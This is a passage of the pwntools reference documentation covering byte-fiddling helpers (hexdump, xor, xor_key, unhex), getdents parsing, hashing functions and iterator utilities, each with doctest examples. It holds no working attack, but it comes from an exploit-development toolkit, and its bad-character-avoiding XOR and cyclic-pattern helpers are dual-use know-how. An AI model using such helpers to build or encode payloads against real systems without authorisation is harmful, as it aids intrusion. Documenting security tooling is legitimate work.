00000040 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f
↳ |@ABC|DEFG|HIJK|LMNO|
00000050 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f |PQRS|TUVW|XYZ[|\]^_
↳ |
00000060 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f
↳ |`abc|defg|hijk|lmno|
00000070 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f |pqrs|tuvw|xyz{|}|~
↳ |.
00000080 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f
↳ |....|....|....|....|
00000090 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f
↳ |....|....|....|....|
000000a0 a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af
↳ |....|....|....|....|
000000b0 b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf
↳ |....|....|....|....|
000000c0 c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf
↳ |....|....|....|....|
000000d0 d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df
↳ |....|....|....|....|
000000e0 e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef
↳ |....|....|....|....|
000000f0 f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
↳ |....|....|....|....|
00000100
```

```
>>> print(hexdump(list(map(struct.Struct("B").pack, range(256))), hexii=True))
00000000 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
00000010 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
00000020 20 .! ." .# .$ .% .& .' .( .) .* .+ ., .- .. ./
00000030 .0 .1 .2 .3 .4 .5 .6 .7 .8 .9 .: .; .< .> .?
00000040 .@ .A .B .C .D .E .F .G .H .I .J .K .L .M .N .O
00000050 .P .Q .R .S .T .U .V .W .X .Y .Z .[ .\ .] .^ ._
00000060 .` .a .b .c .d .e .f .g .h .i .j .k .l .m .n .o
00000070 .p .q .r .s .t .u .v .w .x .y .z .{ .| .} .~ 7f
00000080 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f
00000090 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f
000000a0 a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af
000000b0 b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf
000000c0 c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf
000000d0 d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df
000000e0 e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef
```

(continues on next page)

(continued from previous page)

```
000000f0  f0  f1  f2  f3  f4  f5  f6  f7  f8  f9  fa  fb  fc  fd  fe  ##  |
00000100
```

```
>>> print(hexdump(b'X' * 64))
00000000  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  _
↳|XXXX|XXXX|XXXX|XXXX|
*
00000040
```

```
>>> print(hexdump(b'X' * 64, skip=False))
00000000  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  _
↳|XXXX|XXXX|XXXX|XXXX|
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  _
↳|XXXX|XXXX|XXXX|XXXX|
00000020  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  _
↳|XXXX|XXXX|XXXX|XXXX|
00000030  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  _
↳|XXXX|XXXX|XXXX|XXXX|
00000040
```

```
>>> print(hexdump(fit({0x10: b'X'*0x20, 0x50-1: b'\xff'*20}, length=0xc0) + b'\x00'
↳'*32))
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  _
↳|aaaa|baaa|caaa|daaa|
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  _
↳|XXXX|XXXX|XXXX|XXXX|
*
00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  _
↳|maaa|naaa|oaaa|paaa|
00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 ff  _
↳|qaaa|raaa|saaa|taa·|
00000050  ff ff ff ff  ff ff ff ff  ff ff ff ff  ff ff ff ff  _
↳|....|....|....|....|
00000060  ff ff ff 61  7a 61 61 62  62 61 61 62  63 61 61 62  _
↳|···a|zaab|baab|caab|
00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62  _
↳|daab|eaab|faab|gaab|
00000080  68 61 61 62  69 61 61 62  6a 61 61 62  6b 61 61 62  _
↳|haab|iaab|jaab|kaab|
00000090  6c 61 61 62  6d 61 61 62  6e 61 61 62  6f 61 61 62  _
↳|laab|maab|naab|oaab|
000000a0  70 61 61 62  71 61 61 62  72 61 61 62  73 61 61 62  _
↳|paab|qaab|raab|saab|
000000b0  74 61 61 62  75 61 61 62  76 61 61 62  77 61 61 62  _
↳|taab|uaab|vaab|waab|
000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  _
↳|....|....|....|....|
*
000000e0
```

```
>>> print(hexdump(fit({0x10: b'X'*0x20, 0x50-1: b'\xff'*20}, length=0xc0) + b'\x00'
↳'*32, cyclic=1))
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  _
↳|aaaa|baaa|caaa|daaa|
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  _
↳|XXXX|XXXX|XXXX|XXXX|
```

(continues on next page)

(continued from previous page)

```
*
00000030  6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61  _
↳ |maa|naa|ooo|paaa|
00000040  71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 ff  _
↳ |qaaa|raaa|saaa|taa·|
00000050  ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff  _
↳ |....|....|....|....|
00000060  ff ff ff 61 7a 61 61 62 62 61 61 62 63 61 61 62  _
↳ |...a|zaab|baab|caab|
00000070  64 61 61 62 65 61 61 62 66 61 61 62 67 61 61 62  _
↳ |daab|eaab|faab|gaab|
*
000000c0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  _
↳ |....|....|....|....|
*
000000e0
```

```
>>> print(hexdump(fit({0x10: b'X'*0x20, 0x50-1: b'\xff'*20}, length=0xc0) + b'\x00
↳ '*32, cyclic=1, hexii=1))
00000000  .a .a .a .a .b .a .a .a .c .a .a .a .d .a .a .a  |
00000010  .X .X .X .X .X .X .X .X .X .X .X .X .X .X .X .X  |
*
00000030  .m .a .a .a .n .a .a .a .o .a .a .a .p .a .a .a  |
00000040  .q .a .a .a .r .a .a .a .s .a .a .a .t .a .a .a  |
00000050  ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##  |
00000060  ## ## ## .a .z .a .a .b .b .a .a .b .c .a .a .b  |
00000070  .d .a .a .b .e .a .a .b .f .a .a .b .g .a .a .b  |
*
000000c0  |
*
000000e0
```

```
>>> print(hexdump(b'A'*16, width=9))
00000000  41 41 41 41 41 41 41 41 41  |AAAA|AAAA|A|
00000009  41 41 41 41 41 41 41  |AAAA|AAA|
00000010
>>> print(hexdump(b'A'*16, width=10))
00000000  41 41 41 41 41 41 41 41 41  |AAAA|AAAA|AA|
0000000a  41 41 41 41 41 41  |AAAA|AA|
00000010
>>> print(hexdump(b'A'*16, width=11))
00000000  41 41 41 41 41 41 41 41 41 41  |AAAA|AAAA|AAA|
0000000b  41 41 41 41 41  |AAAA|A|
00000010
>>> print(hexdump(b'A'*16, width=12))
00000000  41 41 41 41 41 41 41 41 41 41  |AAAA|AAAA|AAAA|
0000000c  41 41 41 41  |AAAA|
00000010
>>> print(hexdump(b'A'*16, width=13))
00000000  41 41 41 41 41 41 41 41 41 41 41  |AAAA|AAAA|AAAA|A|
0000000d  41 41 41  |AAA|
00000010
>>> print(hexdump(b'A'*16, width=14))
00000000  41 41 41 41 41 41 41 41 41 41 41 41  |AAAA|AAAA|AAAA|AA|
0000000e  41 41  |AA|
00000010
```

(continues on next page)

(continued from previous page)

```
>>> print(hexdump(b'A'*16, width=15))
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAA|AAAA|AAAA|AAA|
0000000f 41 |A|
00000010
```

```
>>> print(hexdump(b'A'*24, width=16, groupsiz=8))
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAA|AAAAAAAA|
00000010 41 41 41 41 41 41 41 41 |AAAAAAAA|
00000018
>>> print(hexdump(b'A'*24, width=16, groupsiz=-1))
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 |AAAAAAAA|
00000018
```

`pwnlib.util.fiddling.hexdump_iter` (*fd*, *width=16*, *skip=True*, *hexii=False*, *begin=0*, *style=None*, *highlight=None*, *cyclic=False*, *groupsiz=4*)

hexdump_iter(*s*, *width = 16*, *skip = True*, *hexii = False*, *begin = 0*, *style = None*, *highlight = None*, *cyclic = False*, *groupsiz=4*) -> str generator

Return a hexdump-dump of a string as a generator of lines. Unless you have massive amounts of data you probably want to use `hexdump()`.

Parameters

- **fd** (*file*) – File object to dump. Use `StringIO.StringIO()` or `hexdump()` to dump a string.
- **width** (*int*) – The number of characters per line
- **groupsiz** (*int*) – The number of characters per group
- **skip** (*bool*) – Set to True, if repeated lines should be replaced by a “*”
- **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) – Offset of the first byte to print in the left column
- **style** (*dict*) – Color scheme to use.
- **highlight** (*iterable*) – Byte values to highlight.
- **cyclic** (*bool*) – Attempt to skip consecutive, unmodified cyclic lines

Returns A generator producing the hexdump-dump one line at a time.

Example

```
>>> tmp = tempfile.NamedTemporaryFile()
>>> _ = tmp.write(b'XXXXHELLO, WORLD')
>>> tmp.flush()
>>> _ = tmp.seek(4)
>>> print('\n'.join(hexdump_iter(tmp)))
00000000 48 45 4c 4c 4f 2c 20 57 4f 52 4c 44 |HELL|O, W|ORLD|
0000000c
```

```
>>> t = tube()
>>> t.unrecv(b'I know kung fu')
>>> print('\n'.join(hexdump_iter(t)))
```

(continues on next page)

(continued from previous page)

```
00000000 49 20 6b 6e 6f 77 20 6b 75 6e 67 20 66 75 |I kn|ow k|ung |fu|
0000000e
```

`pwnlib.util.fiddling.hexii(s, width=16, skip=True) → str`
 Return a HEXII-dump of a string.

Parameters

- **s** (*str*) – The string to dump
- **width** (*int*) – The number of characters per line
- **skip** (*bool*) – Should repeated lines be replaced by a “*”

Returns A HEXII-dump in the form of a string.

`pwnlib.util.fiddling.isprint(c) → bool`
 Return True if a character is printable

`pwnlib.util.fiddling.naf(int) → int generator`
 Returns a generator for the non-adjacent form (NAF[1]) of a number, *n*. If *naf(n)* generates *z₀*, *z₁*, ..., then *n* == *z₀* + *z₁* * 2 + *z₂* * 2**2,

[1] https://en.wikipedia.org/wiki/Non-adjacent_form

Example

```
>>> n = 45
>>> m = 0
>>> x = 1
>>> for z in naf(n):
...     m += x * z
...     x *= 2
>>> n == m
True
```

`pwnlib.util.fiddling.negate(value, width=None)`
 Returns the two’s complement of ‘value’.

`pwnlib.util.fiddling.randoms(count, alphabet=string.ascii_lowercase) → str`
 Returns a random string of a given length using only the specified alphabet.

Parameters

- **count** (*int*) – The length of the desired string.
- **alphabet** – The alphabet of allowed characters. Defaults to all lowercase characters.

Returns A random string.

Example

```
>>> randoms(10) #doctest: +SKIP
'evafjilupm'
```

`pwnlib.util.fiddling.rot(n, k, word_size=None)`
 Returns a rotation by *k* of *n*.

When n is a number, then means $((n \ll k) \mid (n \gg (\text{word_size} - k)))$ truncated to *word_size* bits.

When n is a list, tuple or string, this is $n[k \% \text{len}(n) :] + n[:k \% \text{len}(n)]$.

Parameters

- **n** – The value to rotate.
- **k** (*int*) – The rotation amount. Can be a positive or negative number.
- **word_size** (*int*) – If n is a number, then this is the assumed bitsize of n . Defaults to `pwnlib.context.word_size` if *None*.

Example

```
>>> rol('abcdefg', 2)
'cdefgab'
>>> rol('abcdefg', -2)
'fgabcde'
>>> hex(rol(0x86, 3, 8))
'0x34'
>>> hex(rol(0x86, -3, 8))
'0xd0'
```

`pwnlib.util.fiddling.ror(n, k, word_size=None)`

A simple wrapper around `rol()`, which negates the values of k .

`pwnlib.util.fiddling.unbits(s, endian = 'big') → str`

Converts an iterable of bits into a string.

Parameters

- **s** – Iterable of bits
- **endian** (*str*) – The string “little” or “big”, which specifies the bits endianness.

Returns A string of the decoded bits.

Example

```
>>> unbits([1])
b'\x80'
>>> unbits([1], endian = 'little')
b'\x01'
>>> unbits(bits(b'hello'), endian = 'little')
b'\x16\xa6\x66\xf6'
```

`pwnlib.util.fiddling.unhex(s) → str`

Hex-decodes a string.

Example

```
>>> unhex("74657374")
b'test'
>>> unhex("F\n")
b'\x0f'
```


`pwnlib.util.fiddling.urldecode(s, ignore_invalid = False) → str`
 URL-decodes a string.

Example

```
>>> urldecode("test%20%41")
'test A'
>>> urldecode("%qq")
Traceback (most recent call last):
...
ValueError: Invalid input to urldecode
>>> urldecode("%qq", ignore_invalid = True)
'%qq'
```

`pwnlib.util.fiddling.urlencode(s) → str`
 URL-encodes a string.

Example

```
>>> urlencode("test")
'%74%65%73%74'
```

`pwnlib.util.fiddling.xor(*args, cut = 'max') → str`
 Flattens its arguments using `pwnlib.util.packing.flat()` and then xors them together. If the end of a string is reached, it wraps around in the string.

Parameters

- **args** – The arguments to be xor'ed together.
- **cut** – How long a string should be returned. Can be either 'min'/'max'/'left'/'right' or a number.

Returns The string of the arguments xor'ed together.

Example

```
>>> xor(b'lol', b'hello', 42)
b'. ***'
```

`pwnlib.util.fiddling.xor_key(data, size=None, avoid='x00n') -> None or (int, str)`
 Finds a size-width value that can be XORed with a string to produce data, while neither the XOR value or XOR string contain any bytes in avoid.

Parameters

- **data** (*str*) – The desired string.
- **avoid** – The list of disallowed characters. Defaults to nulls and newlines.
- **size** (*int*) – Size of the desired output value, default is word size.

Returns A tuple containing two strings; the XOR key and the XOR string. If no such pair exists, None is returned.

Example

```
>>> xor_key(b"Hello, world")
(b'\x01\x01\x01\x01', b'I dmmn-!vnsme')
```

`pwnlib.util.fiddling.xor_pair` (*data*, *avoid* = 'x00n') -> *None* or (*str*, *str*)
 Finds two strings that will xor into a given string, while only using a given alphabet.

Parameters

- **data** (*str*) – The desired string.
- **avoid** – The list of disallowed characters. Defaults to nulls and newlines.

Returns Two strings which will xor to the given string. If no such two strings exist, then *None* is returned.

Example

```
>>> xor_pair(b"test")
(b'\x01\x01\x01\x01', b'udru')
```

2.34 pwnlib.util.getdents — Linux binary directory listing

`pwnlib.util.getdents.dirents` (*buf*)
`unpack_dents(buf)` -> list

Extracts data from a buffer emitted by `getdents()`

Parameters **buf** (*str*) – Byte array

Returns A list of filenames.

Example

```
>>> data =
↳ '5ade6d010100000010002e0000000004010000000200000010002e2e006e3d04092b6d010300000010007461736b0
↳ '
>>> data = unhex(data)
>>> print(dirents(data))
['.', '..', 'fd', 'task']
```

2.35 pwnlib.util.hashes — Hashing functions

Functions for computing various hashes of files and strings.

`pwnlib.util.hashes.md5file` (*x*)
 Calculates the md5 sum of a file

`pwnlib.util.hashes.md5filehex` (*x*)
 Calculates the md5 sum of a file; returns hex-encoded

`pwnlib.util.hashes.md5sum(x)`
Calculates the md5 sum of a string

`pwnlib.util.hashes.md5sumhex(x)`
Calculates the md5 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha1file(x)`
Calculates the sha1 sum of a file

`pwnlib.util.hashes.sha1filehex(x)`
Calculates the sha1 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha1sum(x)`
Calculates the sha1 sum of a string

`pwnlib.util.hashes.sha1sumhex(x)`
Calculates the sha1 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha224file(x)`
Calculates the sha224 sum of a file

`pwnlib.util.hashes.sha224filehex(x)`
Calculates the sha224 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha224sum(x)`
Calculates the sha224 sum of a string

`pwnlib.util.hashes.sha224sumhex(x)`
Calculates the sha224 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha256file(x)`
Calculates the sha256 sum of a file

`pwnlib.util.hashes.sha256filehex(x)`
Calculates the sha256 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha256sum(x)`
Calculates the sha256 sum of a string

`pwnlib.util.hashes.sha256sumhex(x)`
Calculates the sha256 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha384file(x)`
Calculates the sha384 sum of a file

`pwnlib.util.hashes.sha384filehex(x)`
Calculates the sha384 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha384sum(x)`
Calculates the sha384 sum of a string

`pwnlib.util.hashes.sha384sumhex(x)`
Calculates the sha384 sum of a string; returns hex-encoded

`pwnlib.util.hashes.sha512file(x)`
Calculates the sha512 sum of a file

`pwnlib.util.hashes.sha512filehex(x)`
Calculates the sha512 sum of a file; returns hex-encoded

`pwnlib.util.hashes.sha512sum(x)`
Calculates the sha512 sum of a string

`pwnlib.util.hashes.sha512sumhex(x)`
Calculates the sha512 sum of a string; returns hex-encoded

2.36 `pwnlib.util.iters` — Extension of standard module `itertools`

This module includes and extends the standard module `itertools`.

`pwnlib.util.iters.filter`
alias of `itertools.ifilter`

`pwnlib.util.iters.filterfalse`
alias of `itertools.ifilterfalse`

`pwnlib.util.iters.map`
alias of `itertools.imap`

`pwnlib.util.iters.zip`
alias of `itertools.izip`

`pwnlib.util.iters.zip_longest`
alias of `itertools.izip_longest`

`pwnlib.util.iters.bruteforce(func, alphabet, length, method = 'upto', start = None)`
Bruteforce *func* to return `True`. *func* should take a string input and return a `bool()`. *func* will be called with strings from *alphabet* until it returns `True` or the search space has been exhausted.

The argument *start* can be used to split the search space, which is useful if multiple CPU cores are available.

Parameters

- **func** (*function*) – The function to bruteforce.
- **alphabet** – The alphabet to draw symbols from.
- **length** – Longest string to try.
- **method** – If ‘upto’ try strings of length `1 .. length`, if ‘fixed’ only try strings of length `length` and if ‘downfrom’ try strings of length `length .. 1`.
- **start** – a tuple (*i*, *N*) which splits the search space up into *N* pieces and starts at piece *i* (1..*N*). `None` is equivalent to `(1, 1)`.

Returns A string *s* such that `func(s)` returns `True` or `None` if the search space was exhausted.

Example

```
>>> bruteforce(lambda x: x == 'hello', string.ascii_lowercase, length = 10)
'hello'
>>> bruteforce(lambda x: x == 'hello', 'hlllo', 5) is None
True
```

`pwnlib.util.iters.mbruteforce(func, alphabet, length, method = 'upto', start = None, threads = None)`
Same functionality as `bruteforce()`, but multithreaded.

Parameters

- **alphabet, length, method, start** (*func,*) – same as for `bruteforce()`

- **threads** – Amount of threads to spawn, default is the amount of cores.

`pwnlib.util.iters.chained(func)`

A decorator chaining the results of *func*. Useful for generators.

Parameters *func* (*function*) – The function being decorated.

Returns A generator function whose elements are the concatenation of the return values from `func(*args, **kwargs)`.

Example

```
>>> @chained
... def g():
...     for x in count():
...         yield (x, -x)
>>> take(6, g())
[0, 0, 1, -1, 2, -2]
```

`pwnlib.util.iters.consume(n, iterator)`

Advance the iterator *n* steps ahead. If *n* is *:const:* *None*, consume everything.

Parameters

- **n** (*int*) – Number of elements to consume.
- **iterator** (*iterator*) – An iterator.

Returns *None*.

Examples

```
>>> i = count()
>>> consume(5, i)
>>> next(i)
5
>>> i = iter([1, 2, 3, 4, 5])
>>> consume(2, i)
>>> list(i)
[3, 4, 5]
```

`pwnlib.util.iters.cyclen(n, iterable) → iterator`

Repeats the elements of *iterable* *n* times.

Parameters

- **n** (*int*) – The number of times to repeat *iterable*.
- **iterable** – An iterable.

Returns An iterator whose elements are the elements of *iterator* repeated *n* times.

Examples

```
>>> take(4, cyclen(2, [1, 2]))
[1, 2, 1, 2]
>>> list(cyclen(10, []))
[]
```

`pwnlib.util.iters.dotproduct(x, y) → int`

Computes the dot product of *x* and *y*.

Parameters

- **x** (*iterable*) – An iterable.
- **y** – An iterable.

Returns The dot product of *x* and *y*, i.e. $-x[0] * y[0] + x[1] * y[1] + \dots$

Example

```
>>> dotproduct([1, 2, 3], [4, 5, 6])
... # 1 * 4 + 2 * 5 + 3 * 6 == 32
32
```

`pwnlib.util.iters.flatten(xss) → iterator`

Flattens one level of nesting; when *xss* is an iterable of iterables, returns an iterator whose elements is the concatenation of the elements of *xss*.

Parameters **xss** – An iterable of iterables.

Returns An iterator whose elements are the concatenation of the iterables in *xss*.

Examples

```
>>> list(flatten([[1, 2], [3, 4]]))
[1, 2, 3, 4]
>>> take(6, flatten([[43, 42], [41, 40], count()]))
[43, 42, 41, 40, 0, 1]
```

`pwnlib.util.iters.group(n, iterable, fill_value = None) → iterator`

Similar to `pwnlib.util.lists.group()`, but returns an iterator and uses `itertools` fast build-in functions.

Parameters

- **n** (*int*) – The group size.
- **iterable** – An iterable.
- **fill_value** – The value to fill into the remaining slots of the last group if the *n* does not divide the number of elements in *iterable*.

Returns An iterator whose elements are *n*-tuples of the elements of *iterable*.

Examples

```
>>> list(group(2, range(5)))
[(0, 1), (2, 3), (4, None)]
>>> take(3, group(2, count()))
[(0, 1), (2, 3), (4, 5)]
>>> [''.join(x) for x in group(3, 'ABCDEFGF', 'x')]
['ABC', 'DEF', 'Gxx']
```

`pwnlib.util.iters.iter_except(func, exception)`

Calls *func* repeatedly until an exception is raised. Works like the build-in `iter()` but uses an exception instead of a sentinel to signal the end.

Parameters

- **func** (*callable*) – The function to call.
- **exception** (*Exception*) – The exception that signals the end. Other exceptions will not be caught.

Returns An iterator whose elements are the results of calling `func()` until an exception matching *exception* is raised.

Examples

```
>>> s = {1, 2, 3}
>>> i = iter_except(s.pop, KeyError)
>>> next(i)
1
>>> next(i)
2
>>> next(i)
3
>>> next(i)
Traceback (most recent call last):
...
StopIteration
```

`pwnlib.util.iters.lexicographic(alphabet) → iterator`

The words with symbols in *alphabet*, in lexicographic order (determined by the order of *alphabet*).

Parameters **alphabet** – The alphabet to draw symbols from.

Returns An iterator of the words with symbols in *alphabet*, in lexicographic order.

Example

```
>>> take(8, map(lambda x: ''.join(x), lexicographic('01')))
['', '0', '1', '00', '01', '10', '11', '000']
```

`pwnlib.util.iters.lookahead(n, iterable) → object`

Inspects the upcoming element at index *n* without advancing the iterator. Raises `IndexError` if *iterable* has too few elements.

Parameters

- **n** (*int*) – Index of the element to return.
- **iterable** – An iterable.

Returns The element in *iterable* at index *n*.

Examples

```
>>> i = count()
>>> lookahead(4, i)
4
>>> next(i)
0
>>> i = count()
>>> nth(4, i)
4
>>> next(i)
5
>>> lookahead(4, i)
10
```

`pwnlib.util.iters.nth(n, iterable, default = None) → object`

Returns the element at index *n* in *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Index of the element to return.
- **iterable** – An iterable.
- **default** (*object*) – A default value.

Returns The element at index *n* in *iterable* or *default* if *iterable* has too few elements.

Examples

```
>>> nth(2, [0, 1, 2, 3])
2
>>> nth(2, [0, 1], 42)
42
>>> i = count()
>>> nth(42, i)
42
>>> nth(42, i)
85
```

`pwnlib.util.iters.pad(iterable, value = None) → iterator`

Pad an *iterable* with *value*, i.e. returns an iterator whose elements are first the elements of *iterable* then *value* indefinitely.

Parameters

- **iterable** – An iterable.
- **value** – The value to pad with.

Returns An iterator whose elements are first the elements of *iterable* then *value* indefinitely.

Examples

```
>>> take(3, pad([1, 2]))
[1, 2, None]
>>> i = pad(iter([1, 2, 3]), 42)
>>> take(2, i)
[1, 2]
```

(continues on next page)

(continued from previous page)

```
>>> take(2, i)
[3, 42]
>>> take(2, i)
[42, 42]
```

`pwnlib.util.iters.pairwise(iterable) → iterator`

Parameters `iterable` – An iterable.

Returns An iterator whose elements are pairs of neighbouring elements of *iterable*.

Examples

```
>>> list(pairwise([1, 2, 3, 4]))
[(1, 2), (2, 3), (3, 4)]
>>> i = starmap(operator.add, pairwise(count()))
>>> take(5, i)
[1, 3, 5, 7, 9]
```

`pwnlib.util.iters.powerset(iterable, include_empty = True) → iterator`

The powerset of an iterable.

Parameters

- **iterable** – An iterable.
- **include_empty** (*bool*) – Whether to include the empty set.

Returns The powerset of *iterable* as an iterator of tuples.

Examples

```
>>> list(powerset(range(3)))
[(), (0,), (1,), (2,), (0, 1), (0, 2), (1, 2), (0, 1, 2)]
>>> list(powerset(range(2), include_empty = False))
[(0,), (1,), (0, 1)]
```

`pwnlib.util.iters.quantify(iterable, pred = bool) → int`

Count how many times the predicate *pred* is True.

Parameters

- **iterable** – An iterable.
- **pred** – A function that given an element from *iterable* returns either True or False.

Returns The number of elements in *iterable* for which *pred* returns True.

Examples

```
>>> quantify([1, 2, 3, 4], lambda x: x % 2 == 0)
2
>>> quantify(['1', 'two', '3', '42'], str.isdigit)
3
```

`pwnlib.util.iters.random_combination(iterable, r) → tuple`

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the combination.

Returns A random element from `itertools.combinations(iterable, r = r)`.

Examples

```
>>> random_combination(range(2), 2)
(0, 1)
>>> random_combination(range(10), r = 2) in combinations(range(10), r = 2)
True
```

`pwnlib.util.iters.random_combination_with_replacement(iterable, r)`
`random_combination(iterable, r) -> tuple`

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the combination.

Returns A random element from `itertools.combinations_with_replacement(iterable, r = r)`.

Examples

```
>>> cs = {(0, 0), (0, 1), (1, 1)}
>>> random_combination_with_replacement(range(2), 2) in cs
True
>>> i = combinations_with_replacement(range(10), r = 2)
>>> random_combination_with_replacement(range(10), r = 2) in i
True
```

`pwnlib.util.iters.random_permutation(iterable, r=None)`
`random_product(iterable, r = None) -> tuple`

Parameters

- **iterable** – An iterable.
- **r** (*int*) – Size of the permutation. If `None` select all elements in *iterable*.

Returns A random element from `itertools.permutations(iterable, r = r)`.

Examples

```
>>> random_permutation(range(2)) in {(0, 1), (1, 0)}
True
>>> random_permutation(range(10), r = 2) in permutations(range(10), r = 2)
True
```

`pwnlib.util.iters.random_product(*args, repeat = 1) → tuple`

Parameters

- **args** – One or more iterables

- **repeat** (*int*) – Number of times to repeat *args*.

Returns A random element from `itertools.product(*args, repeat = repeat)`.

Examples

```
>>> args = (range(2), range(2))
>>> random_product(*args) in {(0, 0), (0, 1), (1, 0), (1, 1)}
True
>>> args = (range(3), range(3), range(3))
>>> random_product(*args, repeat = 2) in product(*args, repeat = 2)
True
```

`pwnlib.util.iters.repeat_func(func, *args, **kwargs) → iterator`

Repeatedly calls *func* with positional arguments *args* and keyword arguments *kwargs*. If no keyword arguments is given the resulting iterator will be computed using only functions from `itertools` which are very fast.

Parameters

- **func** (*function*) – The function to call.
- **args** – Positional arguments.
- **kwargs** – Keyword arguments.

Returns An iterator whose elements are the results of calling `func(*args, **kwargs)` repeatedly.

Examples

```
>>> def f(x):
...     x[0] += 1
...     return x[0]
>>> i = repeat_func(f, [0])
>>> take(2, i)
[1, 2]
>>> take(2, i)
[3, 4]
>>> def f(**kwargs):
...     return kwargs.get('x', 43)
>>> i = repeat_func(f, x = 42)
>>> take(2, i)
[42, 42]
>>> i = repeat_func(f, 42)
>>> take(2, i)
Traceback (most recent call last):
...
TypeError: f() takes exactly 0 arguments (1 given)
```

`pwnlib.util.iters.roundrobin(*iterables)`

Take elements from *iterables* in a round-robin fashion.

Parameters **iterables* – One or more iterables.

Returns An iterator whose elements are taken from *iterables* in a round-robin fashion.

Examples

```
>>> ''.join(roundrobin('ABC', 'D', 'EF'))
'ADEBFC'
>>> ''.join(take(10, roundrobin('ABC', 'DE', repeat('x'))))
'ADxBExCxxx'
```

`pwnlib.util.iters.tabulate(func, start = 0) → iterator`

Parameters

- **func** (*function*) – The function to tabulate over.
- **start** (*int*) – Number to start on.

Returns An iterator with the elements `func(start)`, `func(start + 1)`,

Examples

```
>>> take(2, tabulate(str))
['0', '1']
>>> take(5, tabulate(lambda x: x**2, start = 1))
[1, 4, 9, 16, 25]
```

`pwnlib.util.iters.take(n, iterable) → list`

Returns first *n* elements of *iterable*. If *iterable* is a iterator it will be advanced.

Parameters

- **n** (*int*) – Number of elements to take.
- **iterable** – An iterable.

Returns A list of the first *n* elements of *iterable*. If there are fewer than *n* elements in *iterable* they will all be returned.

Examples

```
>>> take(2, range(10))
[0, 1]
>>> i = count()
>>> take(2, i)
[0, 1]
>>> take(2, i)
[2, 3]
>>> take(9001, [1, 2, 3])
[1, 2, 3]
```

`pwnlib.util.iters.unique_everseen(iterable, key = None) → iterator`

Get unique elements, preserving order. Remember all elements ever seen. If *key* is not `None` then for each element *elm* in *iterable* the element that will be remembered is `key(elm)`. Otherwise *elm* is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_everseen('AAAABBBCCDAABBB'))
'ABCD'
>>> ''.join(unique_everseen('ABBCcAD', str.lower))
'ABCD'
```

`pwnlib.util.iters.unique_justseen(iterable, key=None)`
`unique_everseen(iterable, key = None) -> iterator`

Get unique elements, preserving order. Remember only the elements just seen. If *key* is not `None` then for each element *elm* in *iterable* the element that will be remembered is `key(elm)`. Otherwise *elm* is remembered.

Parameters

- **iterable** – An iterable.
- **key** – A function to map over each element in *iterable* before remembering it. Setting to `None` is equivalent to the identity function.

Returns An iterator of the unique elements in *iterable*.

Examples

```
>>> ''.join(unique_justseen('AAAABBBCCDAABBB'))
'ABCDAB'
>>> ''.join(unique_justseen('ABBCcAD', str.lower))
'ABCAD'
```

